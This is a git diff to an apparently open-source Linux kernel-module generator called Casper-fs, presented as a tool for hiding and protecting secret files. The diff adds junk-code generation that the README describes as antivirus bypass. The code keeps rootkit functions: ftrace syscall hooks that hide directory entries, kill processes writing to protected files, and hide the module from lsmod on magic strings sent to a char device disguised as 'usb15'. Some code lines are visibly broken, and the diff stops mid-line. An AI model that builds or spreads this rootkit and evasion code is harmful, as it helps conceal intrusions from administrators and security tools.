diff --git a/README.md b/README.md index 2aac271..f190592 100644 --- a/README.md +++ b/README.md @@ -23,8 +23,9 @@ generate your custom kernel module to protect your secret files. The low-level p * The resource to turn to visible any invisible file. * The resource to protect any file in the file system to prevent writing and removal. * The resource to unprotect any file writing and remove proper permission. -* Communication by device char * Persistence recipes with scripts, to always up Casper-fs when you boot the system. +* Antivirus bypass by random junk code injection in the generated LKM turns each binary unique during the compilation. +* Communication by device char (different from other Rootkits that use signal and ioctl) ## Video demo: https://www.youtube.com/watch?v=qxLEkYFicTg diff --git a/module_generator/output/Makefile b/module_generator/output/Makefile index 2746f52..e998f64 100644 --- a/module_generator/output/Makefile +++ b/module_generator/output/Makefile @@ -2,7 +2,7 @@ CONFIG_MODULE_SIG=n PWD := $(shell pwd) CC := gcc KERNEL_PATH ?= /lib/modules/$(shell uname -r)/build -ccflags-y += -Wall -Wdeclaration-after-statement +ccflags-y += -Wall -Wdeclaration-after-statement -Wno-unused-variable -Wno-unused-function obj-m += casperfs.o casperfs-objs := main.o hooked.o diff --git a/module_generator/output/hooked.c b/module_generator/output/hooked.c index 44cc834..31d88d0 100644 --- a/module_generator/output/hooked.c +++ b/module_generator/output/hooked.c @@ -14,20 +14,20 @@ void module_hide(void) int fake_open(struct inode * inode, struct file * filp) { - return 0; + return 0; } int fake_release(struct inode * inode, struct file * filp) { - return 0; + return 0; } ssize_t fake_read (struct file *filp, char __user * buf, size_t count, loff_t * offset) { - return 0; + return 0; } @@ -37,40 +37,40 @@ ssize_t fake_write(struct file * filp, const char __user * buf, size_t count, char message[128]; memset(message,0,127); - if(copy_from_user(message,buf,127)!=0) - return EFAULT; + if(copy_from_user(message,buf,127)!=0) + return EFAULT; /* if detect the secret string in device input, show module at lsmod. */ - if(strstr(message,"Shazam")!=NULL) - { - if(module_hidden==1) + if(strstr(message,"Shazam")!=NULL) { - list_add(&THIS_MODULE->list, module_previous); - module_hidden = 0; - } - } + if(module_hidden==1) + { + list_add(&THIS_MODULE->list, module_previous); + module_hidden = 0; + } + } /* If detect Shazam string in fake device IO turn module invisible to lsmod */ - if(strstr(message,"AbraKadabra")!=NULL) - { - if(module_hidden==0) - module_hide(); - } + if(strstr(message,"AbraKadabra")!=NULL) + { + if(module_hidden==0) + module_hide(); + } /* If detect hocuspocus string in fake device IO turn module invisible to lsmod */ - if(strstr(message,"Alakazam")!=NULL) - { - fs_hidden = fs_hidden?0:1; - } + if(strstr(message,"Alakazam")!=NULL) + { + fs_hidden = fs_hidden?0:1; + } /* If detect hocuspocus string in fake device IO turn module invisible to lsmod */ - if(strstr(message,"Sesame")!=NULL) - { - fs_protect = fs_protect?0:1; - } + if(strstr(message,"Sesame")!=NULL) + { + fs_protect = fs_protect?0:1; + } - return count; + return count; } @@ -84,20 +84,19 @@ _Bool check_fs_blocklist(char *input) total_list = sizeof(list) / sizeof(list[0]); - if(fs_protect==0) - return 0; + if(fs_protect==0) + return 0; - if(strlen(list[0]) <= 2) - { - return 0; - } + if(strlen(list[0]) <= 2) + return 0; + - while(i!=total_list) - { - if(strstr(input, list[i]) != NULL) - return 1; - i++; - } + while(i!=total_list) + { + if(strstr(input, list[i]) != NULL) + return 1; + i++; + } return 0; } @@ -109,23 +108,22 @@ _Bool check_fs_hidelist(char *input) "secret.txt","my_vault.db" }; - if(fs_hidden==0) - return 0; + if(fs_hidden==0) + return 0; total_list = sizeof(list) / sizeof(list[0]); - if(strlen(list[0]) <= 2) - { - return 0; - } + if(strlen(list[0]) <= 2) + return 0; + - while(i!=total_list) - { - if(strstr(input, list[i]) != NULL) - return 1; - i++; - } + while(i!=total_list) + { + if(strstr(input, list[i]) != NULL) + return 1; + i++; + } return 0; } @@ -135,8 +133,9 @@ int fh_install_hook(struct ftrace_hook *hook) int err; err = fh_resolve_hook_address(hook); - if (err) - return err; + + if (err) + return err; hook->ops.func = fh_ftrace_thunk; hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS @@ -144,17 +143,21 @@ int fh_install_hook(struct ftrace_hook *hook) | FTRACE_OPS_FL_IPMODIFY; err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); - if (err) { - pr_debug("ftrace_set_filter_ip() failed: %d\n", err); - return err; - } + + if (err) + { + pr_debug("ftrace_set_filter_ip() failed: %d\n", err); + return err; + } err = register_ftrace_function(&hook->ops); - if (err) { - pr_debug("register_ftrace_function() failed: %d\n", err); - ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); - return err; - } + + if (err) + { + pr_debug("register_ftrace_function() failed: %d\n", err); + ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + return err; + } return 0; } @@ -165,14 +168,16 @@ void fh_remove_hook(struct ftrace_hook *hook) int err; err = unregister_ftrace_function(&hook->ops); - if (err) { - pr_debug("unregister_ftrace_function() failed: %d\n", err); - } + + if (err) + pr_debug("unregister_ftrace_function() failed: %d\n", err); + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); - if (err) { - pr_debug("ftrace_set_filter_ip() failed: %d\n", err); - } + + if (err) + pr_debug("ftrace_set_filter_ip() failed: %d\n", err); + } @@ -181,18 +186,20 @@ int fh_install_hooks(struct ftrace_hook *hooks, size_t count) int err; size_t i; - for (i = 0; i < count; i++) { - err = fh_install_hook(&hooks[i]); - if (err) - goto error; - } + for (i = 0; i < count; i++) + { + err = fh_install_hook(&hooks[i]); + + if (err) + goto error; + } return 0; error: - while (i != 0) { - fh_remove_hook(&hooks[--i]); - } + while (i != 0) + fh_remove_hook(&hooks[--i]); + return err; } @@ -202,7 +209,7 @@ void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) { size_t i; - for (i = 0; i < count; i++) - fh_remove_hook(&hooks[i]); + for (i = 0; i < count; i++) + fh_remove_hook(&hooks[i]); } diff --git a/module_generator/output/hooked.h b/module_generator/output/hooked.h index 6a116b9..b6296a1 100644 --- a/module_generator/output/hooked.h +++ b/module_generator/output/hooked.h @@ -1,6 +1,5 @@ #include #include -#include #include #include #include @@ -11,9 +10,7 @@ #include #include #include -#include #include -#include #include #include #include @@ -27,7 +24,7 @@ #include -MODULE_DESCRIPTION("Casperfs Version 0.2 - Module to turn a private file in hidden. The second function is to protect a confidential file to prevent reading, writing and removal."); +MODULE_DESCRIPTION("Casperfs Version 0.3 - Module to turn a private file in hidden. The second function is to protect a confidential file to prevent reading, writing and removal."); MODULE_AUTHOR("CoolerVoid "); MODULE_LICENSE("Dual BSD/GPL"); @@ -74,11 +71,15 @@ static unsigned long lookup_name(const char *name) struct kprobe kp = { .symbol_name = name }; + unsigned long retval; - if (register_kprobe(&kp) < 0) return 0; + if (register_kprobe(&kp) < 0) + return 0; + retval = (unsigned long) kp.addr; unregister_kprobe(&kp); + return retval; } #else @@ -119,10 +120,11 @@ static int fh_resolve_hook_address(struct ftrace_hook *hook) { hook->address = lookup_name(hook->name); - if (!hook->address) { - pr_debug("unresolved symbol: %s\n", hook->name); - return -ENOENT; - } + if (!hook->address) + { + pr_debug("unresolved symbol: %s\n", hook->name); + return -ENOENT; + } #if USE_FENTRY_OFFSET *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; @@ -142,8 +144,8 @@ static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, #if USE_FENTRY_OFFSET regs->ip = (unsigned long)hook->function; #else - if (!within_module(parent_ip, THIS_MODULE)) - regs->ip = (unsigned long)hook->function; + if (!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long)hook->function; #endif } @@ -170,13 +172,14 @@ static char *get_filename(const char __user *filename) char *kernel_filename=NULL; kernel_filename = kmalloc(4096, GFP_KERNEL); - if (!kernel_filename) - return NULL; + if (!kernel_filename) + return NULL; - if (strncpy_from_user(kernel_filename, filename, 4096) < 0) { - kfree(kernel_filename); - return NULL; - } + if (strncpy_from_user(kernel_filename, filename, 4096) < 0) + { + kfree(kernel_filename); + return NULL; + } return kernel_filename; } @@ -195,25 +198,27 @@ static asmlinkage long fh_sys_write(struct pt_regs *regs) signum = SIGKILL; task = current; - if (task->pid == target_pid) - { - if (regs->di == target_fd) + if (task->pid == target_pid) { - pr_info("write done by process %d to target file.\n", task->pid); - memset(&info, 0, sizeof(struct kernel_siginfo)); - info.si_signo = signum; - ret = send_sig_info(signum, &info, task); + if (regs->di == target_fd) + { + pr_info("write done by process %d to target file.\n", task->pid); + memset(&info, 0, sizeof(struct kernel_siginfo)); + info.si_signo = signum; + ret = send_sig_info(signum, &info, task); + if (ret < 0) { - printk(KERN_INFO "error sending signal\n"); + printk(KERN_INFO "error sending signal\n"); } else { printk(KERN_INFO "Target has been killed\n"); return 0; } + } } - } + ret = real_sys_write(regs); return ret; @@ -231,14 +236,15 @@ static asmlinkage long fh_sys_write(unsigned int fd, const char __user *buf, int signum = SIGKILL, ret 0; task = current; - if (task->pid == target_pid) - { - if (fd == target_fd) + if (task->pid == target_pid) { - pr_info("write done by process %d to target file.\n", task->pid); - memset(&info, 0, sizeof(struct kernel_siginfo)); - info.si_signo = signum; - ret = send_sig_info(signum, &info, task); + if (fd == target_fd) + { + pr_info("write done by process %d to target file.\n", task->pid); + memset(&info, 0, sizeof(struct kernel_siginfo)); + info.si_signo = signum; + ret = send_sig_info(signum, &info, task); + if (ret < 0) { printk(KERN_INFO "error sending signal\n"); @@ -248,17 +254,19 @@ static asmlinkage long fh_sys_write(unsigned int fd, const char __user *buf, printk(KERN_INFO "Target has been killed\n"); return 0; } + } } - } pr_info("Path debug %s\n", buf); char tmp_path=get_filename(buf); - if (check_fs_blocklist(tmp_path)) - { - kfree(tmp_path); - return NULL; - } + + if (check_fs_blocklist(tmp_path)) + { + kfree(tmp_path); + return NULL; + } + ret = real_sys_write(fd, buf, count); @@ -279,18 +287,18 @@ static asmlinkage long fh_sys_openat(struct pt_regs *regs) kernel_filename = get_filename((void*) regs->si); //https://elixir.bootlin.com/linux/v4.19-rc2/source/include/linux/kernel.h - if (check_fs_blocklist(kernel_filename)) - { - pr_info("our file is opened by process with id: %d\n", task->pid); - pr_info("opened file : %s\n", kernel_filename); - kfree(kernel_filename); - ret = real_sys_openat(regs); - pr_info("fd returned is %ld\n", ret); - target_fd = ret; - target_pid = task->pid; - return 0; - - } + if (check_fs_blocklist(kernel_filename)) + { + pr_info("our file is opened by process with id: %d\n", task->pid); + pr_info("opened file : %s\n", kernel_filename); + kfree(kernel_filename); + ret = real_sys_openat(regs); + pr_info("fd returned is %ld\n", ret); + target_fd = ret; + target_pid = task->pid; + + return 0; + } kfree(kernel_filename); ret = real_sys_openat(regs); @@ -311,19 +319,18 @@ static asmlinkage long fh_sys_openat(int dfd, const char __user *filename, kernel_filename = get_filename(filename); - if (check_fs_blocklist(kernel_filename)) - { - pr_info("our file is opened by process with id: %d\n", task->pid); - pr_info("blocked opened file : %s\n", filename); - kfree(kernel_filename); - ret = real_sys_openat(dfd, filename, flags, mode); - pr_info("fd returned is %ld\n", ret); - target_fd = ret; - target_pid = task->pid; - ret=0; - return ret; - - } + if (check_fs_blocklist(kernel_filename)) + { + pr_info("our file is opened by process with id: %d\n", task->pid); + pr_info("blocked opened file : %s\n", filename); + kfree(kernel_filename); + ret = real_sys_openat(dfd, filename, flags, mode); + pr_info("fd returned is %ld\n", ret); + target_fd = ret; + target_pid = task->pid; + ret=0; + return ret; + } kfree(kernel_filename); @@ -343,15 +350,13 @@ static asmlinkage long fh_sys_unlinkat (struct pt_regs *regs) long ret=0; char *kernel_filename = get_filename((void*) regs->si); - if (check_fs_blocklist(kernel_filename)) - { - - pr_info("blocked to not remove file : %s\n", kernel_filename); - ret=0; - kfree(kernel_filename); - return ret; - - } + if (check_fs_blocklist(kernel_filename)) + { + pr_info("blocked to not remove file : %s\n", kernel_filename); + ret=0; + kfree(kernel_filename); + return ret; + } kfree(kernel_filename); ret = real_sys_unlinkat(regs); @@ -368,16 +373,14 @@ static asmlinkage long fh_sys_unlinkat (int dirfd, const char __user *filename, char *kernel_filename = get_filename(filename); - if (check_fs_blocklist(kernel_filename)) - { - - kfree(kernel_filename); - pr_info("blocked to not remove file : %s\n", kernel_filename); - ret=0; - kfree(kernel_filename); - return ret; - - } + if (check_fs_blocklist(kernel_filename)) + { + kfree(kernel_filename); + pr_info("blocked to not remove file : %s\n", kernel_filename); + ret=0; + kfree(kernel_filename); + return ret; + } kfree(kernel_filename); ret = real_sys_unlinkat(dirfd,filename, flags); @@ -391,55 +394,57 @@ static asmlinkage long (*real_sys_getdents64)(const struct pt_regs *); static asmlinkage int fh_sys_getdents64(const struct pt_regs *regs) { - struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; - struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL; - unsigned long offset = 0; - int ret = real_sys_getdents64(regs); + struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; + struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL; + unsigned long offset = 0; + long error; + + int ret = real_sys_getdents64(regs); - dirent_ker = kzalloc(ret, GFP_KERNEL); + dirent_ker = kzalloc(ret, GFP_KERNEL); - if ( (ret <= 0) || (dirent_ker == NULL) ) - return ret; + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; - long error; - error = copy_from_user(dirent_ker, dirent, ret); + error = copy_from_user(dirent_ker, dirent, ret); - if(error) - goto done; + if(error) + goto done; - while (offset < ret) - { - current_dir = (void *)dirent_ker + offset; + while (offset < ret) + { + current_dir = (void *)dirent_ker + offset; - if ( check_fs_hidelist(current_dir->d_name)) - { + if ( check_fs_hidelist(current_dir->d_name)) + { - if( current_dir == dirent_ker ) - { + if( current_dir == dirent_ker ) + { - ret -= current_dir->d_reclen; - memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); - continue; - } + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } - previous_dir->d_reclen += current_dir->d_reclen; - } - else - { + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { - previous_dir = current_dir; - } + previous_dir = current_dir; + } - offset += current_dir->d_reclen; - } + offset += current_dir->d_reclen; + } - error = copy_to_user(dirent, dirent_ker, ret); - if(error) - goto done; + error = copy_to_user(dirent, dirent_ker, ret); + + if(error) + goto done; done: - kfree(dirent_ker); - return ret; + kfree(dirent_ker); + return ret; } @@ -468,8 +473,9 @@ static int start_hook_resources(void) { int err; err = fh_install_hooks(demo_hooks, ARRAY_SIZE(demo_hooks)); - if (err) - return err; + + if (err) + return err; return 0; } diff --git a/module_generator/output/main.c b/module_generator/output/main.c index 733a9a1..eaea8cb 100644 --- a/module_generator/output/main.c +++ b/module_generator/output/main.c @@ -10,16 +10,176 @@ MODULE_DESCRIPTION("Casperfs - Custom LKM to protect secret resources on file system."); MODULE_AUTHOR("CoolerVoid "); MODULE_LICENSE("GPL"); -MODULE_VERSION("0.2"); +MODULE_VERSION("0.3"); +void fez7htym2vb (void); +void fglx4cjb7fl (void); + +/* Junk code generator macros */ +void ftqo97a3fu5 (void) +{ + int counter=0; + int x=0,y=0; + y+=1; + x+=2; + x+=y; + x-=1; + x+=1; + y-=1; + y++; + x*=1; + y++; + x+=2; + x+=y; + x-=1; + y+=1; + x+=1; + x*=1; + y-=1; + y++; + x+=2; + y-=1; + x+=y; + x*=1; + x-=1; + y+=1; + x+=1; + x-=1; + y++; + y-=1; + x+=y; + y+=1; + x+=1; + x*=1; + x+=2; + x+=2; + x*=1; + y+=1; + x+=1; + y-=1; + x-=1; + x+=y; + y++; + + + while(counter!=5) + { + fglx4cjb7fl(); + counter++; + } +} + +void fglx4cjb7fl (void) +{ + int counter=0; + int x=0,y=0; + y+=1; + x-=1; + x+=y; + y-=1; + y++; + x+=2; + x+=1; + x*=1; + x+=2; + x+=y; + y+=1; + x-=1; + x*=1; + x+=1; + y++; + y-=1; + x+=y; + y+=1; + y++; + x+=1; + y-=1; + x-=1; + x+=2; + x*=1; + x-=1; + y+=1; + x*=1; + y++; + x+=2; + x+=y; + x+=1; + y-=1; + x+=y; + x+=2; + x+=1; + y+=1; + y++; + y-=1; + x*=1; + x-=1; + + + while(counter!=4) + { + fez7htym2vb(); + counter++; + } +} + + +void fez7htym2vb (void) +{ + int x=0,y=0; + x*=1; + y+=1; + y-=1; + y++; + x-=1; + x+=y; + x+=1; + x+=2; + x+=1; + x+=y; + y-=1; + x*=1; + x+=2; + y++; + x-=1; + y+=1; + y++; + x*=1; + x+=1; + x+=y; + x+=2; + x-=1; + y-=1; + y+=1; + y-=1; + x+=1; + x+=y; + y+=1; + x*=1; + x-=1; + y++; + x+=2; + x+=2; + y+=1; + x+=y; + y-=1; + x-=1; + x*=1; + x+=1; + y++; + + +} static int fh_init(void) { - struct device *fake_device; - int error = 0,err = 0; - dev_t devt = 0; + struct device *fake_device; + int error = 0,err = 0; + dev_t devt = 0; + + ftqo97a3fu5(); + + err=start_hook_resources(); - err=start_hook_resources(); if(err) pr_info("Problem in hook functions"); @@ -27,42 +187,43 @@ static int fh_init(void) tidy(); /* Get a range of minor numbers (starting with 0) to work with */ - error = alloc_chrdev_region(&devt, 0, 1, "usb15"); + error = alloc_chrdev_region(&devt, 0, 1, "usb15"); - if (error < 0) - { - pr_err("Can't get major number\n"); - return error; - } + if (error < 0) + { + pr_err("Can't get major number\n"); + return error; + } - major = MAJOR(devt); + major = MAJOR(devt); /* Create device class, visible in /sys/class */ - fake_class = class_create(THIS_MODULE, "custom_char_class"); + fake_class = class_create(THIS_MODULE, "custom_char_class"); - if (IS_ERR(fake_class)) { - unregister_chrdev_region(MKDEV(major, 0), 1); - return PTR_ERR(fake_class); - } + if (IS_ERR(fake_class)) + { + unregister_chrdev_region(MKDEV(major, 0), 1); + return PTR_ERR(fake_class); + } /* Initialize the char device and tie a file_operations to it */ - cdev_init(&fake_cdev, &fake_fops); - fake_cdev.owner = THIS_MODULE; + cdev_init(&fake_cdev, &fake_fops); + fake_cdev.owner = THIS_MODULE; /* Now make the device live for the users to access */ - cdev_add(&fake_cdev, devt, 1); + cdev_add(&fake_cdev, devt, 1); - fake_device = device_create(fake_class, + fake_device = device_create(fake_class, NULL, /* no parent device */ devt, /* associated dev_t */ NULL, /* no additional data */ "usb15"); /* device name */ - if (IS_ERR(fake_device)) - { - class_destroy(fake_class); - unregister_chrdev_region(devt, 1); - return -1; - } + if (IS_ERR(fake_device)) + { + class_destroy(fake_class); + unregister_chrdev_region(devt, 1); + return -1; + } return 0; diff --git a/module_generator/template/Makefile b/module_generator/template/Makefile index 13b5171..48739c1 100755 --- a/module_generator/template/Makefile +++ b/module_generator/template/Makefile @@ -2,7 +2,7 @@ CONFIG_MODULE_SIG=n PWD := $(shell pwd) CC := gcc KERNEL_PATH ?= /lib/modules/$(shell uname -r)/build -ccflags-y += -Wall -Wdeclaration-after-statement +ccflags-y += -Wall -Wdeclaration-after-statement -Wno-unused-variable -Wno-unused-function obj-m += CASPER_BINARY_NAME.o CASPER_BINARY_NAME-objs := main.o hooked.o diff --git a/module_generator/template/hooked.c b/module_generator/template/hooked.c index 3539898..b994c9c 100755 --- a/module_generator/template/hooked.c +++ b/module_generator/template/hooked.c @@ -14,20 +14,20 @@ void module_hide(void) int fake_open(struct inode * inode, struct file * filp) { - return 0; + return 0; } int fake_release(struct inode * inode, struct file * filp) { - return 0; + return 0; } ssize_t fake_read (struct file *filp, char __user * buf, size_t count, loff_t * offset) { - return 0; + return 0; } @@ -37,40 +37,40 @@ ssize_t fake_write(struct file * filp, const char __user * buf, size_t count, char message[128]; memset(message,0,127); - if(copy_from_user(message,buf,127)!=0) - return EFAULT; + if(copy_from_user(message,buf,127)!=0) + return EFAULT; /* if detect the secret string in device input, show module at lsmod. */ - if(strstr(message,"CASPER_HIDE")!=NULL) - { - if(module_hidden==1) + if(strstr(message,"CASPER_HIDE")!=NULL) { - list_add(&THIS_MODULE->list, module_previous); - module_hidden = 0; - } - } + if(module_hidden==1) + { + list_add(&THIS_MODULE->list, module_previous); + module_hidden = 0; + } + } /* If detect Shazam string in fake device IO turn module invisible to lsmod */ - if(strstr(message,"CASPER_UNHIDE")!=NULL) - { - if(module_hidden==0) - module_hide(); - } + if(strstr(message,"CASPER_UNHIDE")!=NULL) + { + if(module_hidden==0) + module_hide(); + } /* If detect hocuspocus string in fake device IO turn module invisible to lsmod */ - if(strstr(message,"UNHIDE_HIDE_FS")!=NULL) - { - fs_hidden = fs_hidden?0:1; - } + if(strstr(message,"UNHIDE_HIDE_FS")!=NULL) + { + fs_hidden = fs_hidden?0:1; + } /* If detect hocuspocus string in fake device IO turn module invisible to lsmod */ - if(strstr(message,"CASPER_PROTECT_UNPROTECT_FS")!=NULL) - { - fs_protect = fs_protect?0:1; - } + if(strstr(message,"CASPER_PROTECT_UNPROTECT_FS")!=NULL) + { + fs_protect = fs_protect?0:1; + } - return count; + return count; } @@ -84,20 +84,19 @@ PROTECT_LIST total_list = sizeof(list) / sizeof(list[0]); - if(fs_protect==0) - return 0; + if(fs_protect==0) + return 0; - if(strlen(list[0]) <= 2) - { - return 0; - } + if(strlen(list[0]) <= 2) + return 0; + - while(i!=total_list) - { - if(strstr(input, list[i]) != NULL) - return 1; - i++; - } + while(i!=total_list) + { + if(strstr(input, list[i]) != NULL) + return 1; + i++; + } return 0; } @@ -109,23 +108,22 @@ _Bool check_fs_hidelist(char *input) HIDE_LIST }; - if(fs_hidden==0) - return 0; + if(fs_hidden==0) + return 0; total_list = sizeof(list) / sizeof(list[0]); - if(strlen(list[0]) <= 2) - { - return 0; - } + if(strlen(list[0]) <= 2) + return 0; + - while(i!=total_list) - { - if(strstr(input, list[i]) != NULL) - return 1; - i++; - } + while(i!=total_list) + { + if(strstr(input, list[i]) != NULL) + return 1; + i++; + } return 0; } @@ -135,8 +133,9 @@ int fh_install_hook(struct ftrace_hook *hook) int err; err = fh_resolve_hook_address(hook); - if (err) - return err; + + if (err) + return err; hook->ops.func = fh_ftrace_thunk; hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS @@ -144,17 +143,21 @@ int fh_install_hook(struct ftrace_hook *hook) | FTRACE_OPS_FL_IPMODIFY; err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); - if (err) { - pr_debug("ftrace_set_filter_ip() failed: %d\n", err); - return err; - } + + if (err) + { + pr_debug("ftrace_set_filter_ip() failed: %d\n", err); + return err; + } err = register_ftrace_function(&hook->ops); - if (err) { - pr_debug("register_ftrace_function() failed: %d\n", err); - ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); - return err; - } + + if (err) + { + pr_debug("register_ftrace_function() failed: %d\n", err); + ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + return err; + } return 0; } @@ -165,14 +168,16 @@ void fh_remove_hook(struct ftrace_hook *hook) int err; err = unregister_ftrace_function(&hook->ops); - if (err) { - pr_debug("unregister_ftrace_function() failed: %d\n", err); - } + + if (err) + pr_debug("unregister_ftrace_function() failed: %d\n", err); + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); - if (err) { - pr_debug("ftrace_set_filter_ip() failed: %d\n", err); - } + + if (err) + pr_debug("ftrace_set_filter_ip() failed: %d\n", err); + } @@ -181,18 +186,20 @@ int fh_install_hooks(struct ftrace_hook *hooks, size_t count) int err; size_t i; - for (i = 0; i < count; i++) { - err = fh_install_hook(&hooks[i]); - if (err) - goto error; - } + for (i = 0; i < count; i++) + { + err = fh_install_hook(&hooks[i]); + + if (err) + goto error; + } return 0; error: - while (i != 0) { - fh_remove_hook(&hooks[--i]); - } + while (i != 0) + fh_remove_hook(&hooks[--i]); + return err; } @@ -202,7 +209,7 @@ void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) { size_t i; - for (i = 0; i < count; i++) - fh_remove_hook(&hooks[i]); + for (i = 0; i < count; i++) + fh_remove_hook(&hooks[i]); } diff --git a/module_generator/template/hooked.h b/module_generator/template/hooked.h index c390afe..d08079e 100755 --- a/module_generator/template/hooked.h +++ b/module_generator/template/hooked.h @@ -1,6 +1,5 @@ #include #include -#include #include #include #include @@ -11,9 +10,7 @@ #include #include #include -#include #include -#include #include #include #include @@ -27,7 +24,7 @@ #include -MODULE_DESCRIPTION("CASPER_MODULE_NAME Version 0.2 - Module to turn a private file in hidden. The second function is to protect a confidential file to prevent reading, writing and removal."); +MODULE_DESCRIPTION("CASPER_MODULE_NAME Version 0.3 - Module to turn a private file in hidden. The second function is to protect a confidential file to prevent reading, writing and removal."); MODULE_AUTHOR("CoolerVoid "); MODULE_LICENSE("Dual BSD/GPL"); @@ -74,11 +71,15 @@ static unsigned long lookup_name(const char *name) struct kprobe kp = { .symbol_name = name }; + unsigned long retval; - if (register_kprobe(&kp) < 0) return 0; + if (register_kprobe(&kp) < 0) + return 0; + retval = (unsigned long) kp.addr; unregister_kprobe(&kp); + return retval; } #else @@ -119,10 +120,11 @@ static int fh_resolve_hook_address(struct ftrace_hook *hook) { hook->address = lookup_name(hook->name); - if (!hook->address) { - pr_debug("unresolved symbol: %s\n", hook->name); - return -ENOENT; - } + if (!hook->address) + { + pr_debug("unresolved symbol: %s\n", hook->name); + return -ENOENT; + } #if USE_FENTRY_OFFSET *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; @@ -142,8 +144,8 @@ static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, #if USE_FENTRY_OFFSET regs->ip = (unsigned long)hook->function; #else - if (!within_module(parent_ip, THIS_MODULE)) - regs->ip = (unsigned long)hook->function; + if (!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long)hook->function; #endif } @@ -170,13 +172,14 @@ static char *get_filename(const char __user *filename) char *kernel_filename=NULL; kernel_filename = kmalloc(4096, GFP_KERNEL); - if (!kernel_filename) - return NULL; + if (!kernel_filename) + return NULL; - if (strncpy_from_user(kernel_filename, filename, 4096) < 0) { - kfree(kernel_filename); - return NULL; - } + if (strncpy_from_user(kernel_filename, filename, 4096) < 0) + { + kfree(kernel_filename); + return NULL; + } return kernel_filename; } @@ -195,25 +198,27 @@ static asmlinkage long fh_sys_write(struct pt_regs *regs) signum = SIGKILL; task = current; - if (task->pid == target_pid) - { - if (regs->di == target_fd) + if (task->pid == target_pid) { - pr_info("write done by process %d to target file.\n", task->pid); - memset(&info, 0, sizeof(struct kernel_siginfo)); - info.si_signo = signum; - ret = send_sig_info(signum, &info, task); + if (regs->di == target_fd) + { + pr_info("write done by process %d to target file.\n", task->pid); + memset(&info, 0, sizeof(struct kernel_siginfo)); + info.si_signo = signum; + ret = send_sig_info(signum, &info, task); + if (ret < 0) { - printk(KERN_INFO "error sending signal\n"); + printk(KERN_INFO "error sending signal\n"); } else { printk(KERN_INFO "Target has been killed\n"); return 0; } + } } - } + ret = real_sys_write(regs); return ret; @@ -231,14 +236,15 @@ static asmlinkage long fh_sys_write(unsigned int fd, const char __user *buf, int signum = SIGKILL, ret 0; task = current; - if (task->pid == target_pid) - { - if (fd == target_fd) + if (task->pid == target_pid) { - pr_info("write done by process %d to target file.\n", task->pid); - memset(&info, 0, sizeof(struct kernel_siginfo)); - info.si_signo = signum; - ret = send_sig_info(signum, &info, task); + if (fd == target_fd) + { + pr_info("write done by process %d to target file.\n", task->pid); + memset(&info, 0, sizeof(struct kernel_siginfo)); + info.si_signo = signum; + ret = send_sig_info(signum, &info, task); + if (ret < 0) { printk(KERN_INFO "error sending signal\n"); @@ -248,17 +254,19 @@ static asmlinkage long fh_sys_write(unsigned int fd, const char __user *buf, printk(KERN_INFO "Target has been killed\n"); return 0; } + } } - } pr_info("Path debug %s\n", buf); char tmp_path=get_filename(buf); - if (check_fs_blocklist(tmp_path)) - { - kfree(tmp_path); - return NULL; - } + + if (check_fs_blocklist(tmp_path)) + { + kfree(tmp_path); + return NULL; + } + ret = real_sys_write(fd, buf, count); @@ -279,18 +287,18 @@ static asmlinkage long fh_sys_openat(struct pt_regs *regs) kernel_filename = get_filename((void*) regs->si); //https://elixir.bootlin.com/linux/v4.19-rc2/source/include/linux/kernel.h - if (check_fs_blocklist(kernel_filename)) - { - pr_info("our file is opened by process with id: %d\n", task->pid); - pr_info("opened file : %s\n", kernel_filename); - kfree(kernel_filename); - ret = real_sys_openat(regs); - pr_info("fd returned is %ld\n", ret); - target_fd = ret; - target_pid = task->pid; - return 0; - - } + if (check_fs_blocklist(kernel_filename)) + { + pr_info("our file is opened by process with id: %d\n", task->pid); + pr_info("opened file : %s\n", kernel_filename); + kfree(kernel_filename); + ret = real_sys_openat(regs); + pr_info("fd returned is %ld\n", ret); + target_fd = ret; + target_pid = task->pid; + + return 0; + } kfree(kernel_filename); ret = real_sys_openat(regs); @@ -311,19 +319,18 @@ static asmlinkage long fh_sys_openat(int dfd, const char __user *filename, kernel_filename = get_filename(filename); - if (check_fs_blocklist(kernel_filename)) - { - pr_info("our file is opened by process with id: %d\n", task->pid); - pr_info("blocked opened file : %s\n", filename); - kfree(kernel_filename); - ret = real_sys_openat(dfd, filename, flags, mode); - pr_info("fd returned is %ld\n", ret); - target_fd = ret; - target_pid = task->pid; - ret=0; - return ret; - - } + if (check_fs_blocklist(kernel_filename)) + { + pr_info("our file is opened by process with id: %d\n", task->pid); + pr_info("blocked opened file : %s\n", filename); + kfree(kernel_filename); + ret = real_sys_openat(dfd, filename, flags, mode); + pr_info("fd returned is %ld\n", ret); + target_fd = ret; + target_pid = task->pid; + ret=0; + return ret; + } kfree(kernel_filename); @@ -343,15 +350,13 @@ static asmlinkage long fh_sys_unlinkat (struct pt_regs *regs) long ret=0; char *kernel_filename = get_filename((void*) regs->si); - if (check_fs_blocklist(kernel_filename)) - { - - pr_info("blocked to not remove file : %s\n", kernel_filename); - ret=0; - kfree(kernel_filename); - return ret; - - } + if 